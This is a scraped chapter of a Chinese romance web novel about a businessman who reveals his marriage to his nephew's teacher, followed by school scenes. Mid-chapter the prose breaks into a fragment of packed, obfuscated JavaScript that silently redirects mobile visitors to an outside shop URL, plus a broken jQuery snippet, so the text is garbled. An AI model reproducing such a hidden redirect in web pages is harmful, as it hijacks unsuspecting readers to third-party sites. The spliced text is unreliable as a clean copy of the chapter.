文趣网 > 都市小说 > 嫁给前任他老板 > 10. Chapter 10
    Chapter10

    霎时,原本热热闹闹的餐厅变得一片寂静,陈泰华被刚入口的热汤呛到,猛咳几声。他边擦嘴边问:“你跟谁结婚?安家那个小丫头?”

    “不是。”陈穆远说。

    “那是谁?”

    “陈濯的班主任。”

    陈穆远一把话说出口,大家纷纷把目光投向陈濯。陈濯也是满脸惊讶,他虽然知道两人有情况,但也不知道是这么个情况啊。

    无奈一笑:“你们发展可真快。”

    陈泰华的眼睛瞪得更大了,他问陈濯:“你知道?”

    陈濯点点头:“知道一点。”说完,举起手边的罐装气泡水跟陈穆远碰杯:“恭喜你,终于在三十岁之前抱得美人归。”

    “谢谢。”陈穆远一口饮净酒盅里的酒。

    陈泰华看着叔侄俩有来有往、配合得相当默契的样子,依旧不是很相信:“真的假的?”

    陈穆远看向他:“我骗你们干什么?”

    他把放在西裤口袋的结婚证拿出来,放在餐桌的圆转盘上,轻轻拨动一下。

    几秒后,结婚证在陈泰华面前停下,他将信将疑地拿起看了一眼,红底照片上男人女人紧挨着。

    他年纪大了有点老花眼,对着头顶的灯才看清上面的字:新郎陈穆远,新娘许惠然。

    白新筠见老伴呆愣住,直接把结婚证从他手里抽了出来,自己先看两眼,又拿着去问陈濯:“这姑娘真是你班主任啊?”

    陈濯扫了一眼,点头:“是。”

    陈泰华回过神叹了叹气,对陈穆远说:“你这也太突然了。”

    “没什么突然的。”陈穆远说:“以后别再安排什么张小姐王小姐跟我见面了,您搜罗的困难,我相处的也难受。”

    陈泰华忍不住咳嗽了几声,他那么做都为了谁啊?年轻人总意气用事,凭自己单打独斗能在这个杀人不见血的圈子里待多久?

    “既然都领证了,那就找个时间把姑娘带家里来认认人。”

    “就明天吧。”

    “明天不行。”陈泰华态度严肃:“这大晚上你让我去哪儿给她准备见面礼,等下周五你把她带来吃晚饭。”

    陈穆远:“行。”

    陈家往上查几代人都是经商的,可谓家大业大,但这跟陈穆远没什么关系,他现在所拥有的,全是靠自己的努力得来的。

    陈泰华自知这个父亲他当的不到位,觉得这么多年亏待了陈穆远,便屡次放低身价去给他铺路。可到头来全是自己的一厢情愿罢了。

    不过这不能怪陈穆远,要怪就怪他年轻时太过风流。

    陈穆远不是白新筠亲生的,他是陈泰华的婚外情产物。

    当年东窗事发之后,陈泰华放下他的男子尊严,跪在结发妻子白新筠的脚边声泪俱下,并发誓只有她肯留下陈穆远,那么陈家的一切他都将留给两人的亲生儿子陈修杰。

    白新筠泪流满面地看着这个和她度过了大半生的男人,心里满是怨恨。可抬眼看到角落里那个脸颊青紫的瘦小身影,又心软的一塌糊涂。

    婚离不了,血缘抹不掉,她只好答应陈泰华留下这个孩子。

    虽然做不到对陈穆远视如己出,但也从未苛待过他。陈穆远喊她一声“妈”,她便担起一个当妈的责任。

    陈穆远来陈家时已经记事了,什么该说什么不该说,什么该做什么不该做,他有一个清楚的认知。

    就比如他不需要一个背景强大的妻子来为他提供帮助,因为这会破坏这个家表面的和谐。

    陈穆远喝了酒,打电话让司机过来开车,回家的路上他给许惠然打了个电话。铃声不断循环,他没什么耐心地挂断,然后等着她回拨。

    许惠然洗澡时爱拿着手机听歌,她手上沾了水擦也擦不净,只能眼睁睁看着陈穆远自己把电话挂掉。

    飞快冲干净身上的泡沫,裹上浴巾到床边坐下,声音又小又没有底气。

    “你刚刚打电话过来是有什么事吗?”

    陈穆远懒洋洋地说:“有事,下周五晚上你跟我回家一趟。”

    “好。”许惠然低下头摸着浴巾的一角,咬唇纠结:“你能…简单说一下你的家庭情况吗?我知道上次家访的时候你说过一些,但我觉得那些不太够。”

    “这么八卦呢?”陈穆远低笑一声。

    许惠然小声说:“不是,我是怕说错话。”

    陈穆远调整了一下坐姿,翘起脚,把手机贴近耳朵说:“怕说错那就不说,多吃饭,多吃菜,老人都喜欢胃口好的。”

    许惠然:“我第一次见你父母,多吃不好吧?”

    “你是要按照猪的食量吃吗?”陈穆远没忍住朝车窗外翻了个白眼。

    “……”

    陈穆远又说:“适量不懂吗?如果不懂就一口别吃,呲着大牙傻乐就行。”

    许惠然笑得比命苦:“哈哈,是这样吗?”

    “对。”陈穆远咬了咬牙:“就这样。”

    他气得把电话给挂断了。

    捏紧眉心冷哼,在心里庆幸许惠然不是他的员工,要真的招了这样不懂变通的书呆子,他公司迟早要倒闭。

    许惠然看着手机屏幕,自言自语:“他情绪一直都这么不稳定的吗?”

    周一下午的体育课,许惠然站在操场上看着学生集合点名,自从陈濯当上了班长逃课的都少了。

    以前体育课是逃课重灾区,都觉得户外活动找不到人很正常,所以一个个等热身完就全溜了。

    不过这还算小事,愁就愁在他们跟听不见上课铃声一下,总是等下节课开始了才姗姗来迟。任课老师感觉到被冒犯,免不了要找她告状。

    她能怎么办呢?当然是赔着笑脸说:“我一定严肃处理。”

    陈濯拿着花名册站在队伍的前面,念一个名字答一声到,出勤率罕见的百分百。

    许惠然站在操场中间跟体育老师聊天,等学生们跑个三四圈,没什么要学的东西就直接宣布解散自由活动。

    一声哨响之后,许惠然转身要回办公室工作,陈濯却跑过来挡住她的去路。

    “你就没什么要跟我说的?”他倒反天罡地问。

    “说什么?”许惠然双手抄口袋,绕过他低头走路。

    陈濯追上去,侧着上半身说:“你跟我小叔的事啊。”他跟许惠然保证道,“你放心我是支持你们的,就是你有点不讲义气了啊。我好心好意的撮合你跟我小叔,你竟然这么不相信我,让我跟其他人一起知道。”

    他伸手扒拉了一下许惠然的肩膀,为自己鸣不平:“我觉得你辜负了我对你的信任。”

    许惠然停下脚步,问他:“你不觉得这件事很荒唐吗?”

    “荒唐什么?”

    “就……”她脸上一热,实在不好意思说。

    陈濯多机灵一人,见许惠然如此反应,咧着嘴哈哈地笑,他说:“你又不是清朝来的,两个人看对眼儿了还管什么别的。”

    许惠然悄声问:“你家里人都什么反应?”

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17862376|212059||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >“吃惊呗,刚开始他们还不太相信,但我小叔把你们俩结婚证都拿出来了,他们就不得不信了。”陈濯盯着许惠然,笑嘻嘻地说:“那我以后是不是要改口喊你小婶了?”

    “不用。”

    陈濯试探道:“为什么不用,你都嫁给我小叔了。”

    许惠然说:“这是学校,你应该喊我老师。”

    陈濯:“那我在学校喊你老师,在外面喊你小婶。”

    “外面也不许叫。”许惠然表情严肃。

    “那凭什么?”

    “凭我是你老师,学生就该听老师的。”

    陈濯抱着胳膊,笑着说:“我是坏学生,坏学生都我行我素,老师是什么?能吃吗?”

    许惠然不喜欢听这种话,气得拔腿就走,陈濯见玩大发了赶紧去追,他长腿一迈,三两步就追上了。

    两人在教学楼前发生了点“肢体冲突”,张主任刚好路过,他大声呵斥:“陈濯,你小子刚老实几天皮又痒了是吗?还敢欺负老师了!”

    “我没有。”陈濯冤枉极了。

    张主任心里的火气蹭一下地上来了,他拿手指着陈濯:“你没有?!我的眼睛是干什么的啊?你当别人都瞎是吗?还敢说没有!”

    许惠然生无可恋地咬了咬牙,说:“主任您消消气,他就是开玩笑没个轻重。”

    张主任语气冲的唾沫满天飞:“开玩笑!学生能跟老师开玩笑吗?!”他冲着陈濯怒目圆睁,“你不要觉得你们许老师年纪小,打打闹闹没什么,她年纪再小也是你的老师,你要尊重她。”

    陈濯点点头,妥协说:“嗯,尊重。”

    “你这什么态度?”

    “我这态度怎么了?”

    “你说怎么了?!”

    最近发生的事太多,搞得许惠然心力憔悴。她看着两人你一句我一句,劝也不是不劝也不是,两眼一黑蹭地倒下了。

    陈濯被吓了一大跳,反应过来后抱着许惠然就往校医室跑,张主任倒腾着两条五五分的小短腿在后面撵。

    到了校医室,陈濯把她放床上,紧张地说:“您赶紧给她看看,不行我打120。”

    校医给许惠然做了基础检查,说:“没什么事,低血糖,我弄杯红糖水给她喝就行。”

    “您确定吗?”

    “确定。”

    门砰一声被撞响,陈濯和校医同时扭脸,只见张主任差点滑跪到地上,他老人家喘着粗气说:“怎么回事啊?咋就晕了呢?”

    校医又重复一遍:“低血糖。”

    张主任说:“那赶紧整点儿糖给她补上啊。”

    陈濯:“……”

    其实许惠然早在到达校医室的那刻就醒了,她紧闭双眼只是不想再听张主任唠叨。校医往一次性纸杯里舀了两勺红糖,倒上温水,扶着许惠然喂她喝下。

    许惠然眯着一双眼,虚弱无力的样子。

    张主任问:“许老师,你怎么样了,还好吗?”

    “我没事了。”

    “没事就好,你好好休息。”

    许惠然嗯一声:“主任你有事就先走吧,我自己可以的。”

    张主任挠了挠头,眼睛瞥到陈濯,说:“你在这里照顾许老师,就当将功补过了。”

    陈濯扯了下嘴角:“好的。”

    等张主任走了,陈濯忍不住问:“然姐,你是真晕还是假晕?”

    许惠然翻了个白眼:“当然是真晕。”

    她演技要真有这么逼真,就当演员去了。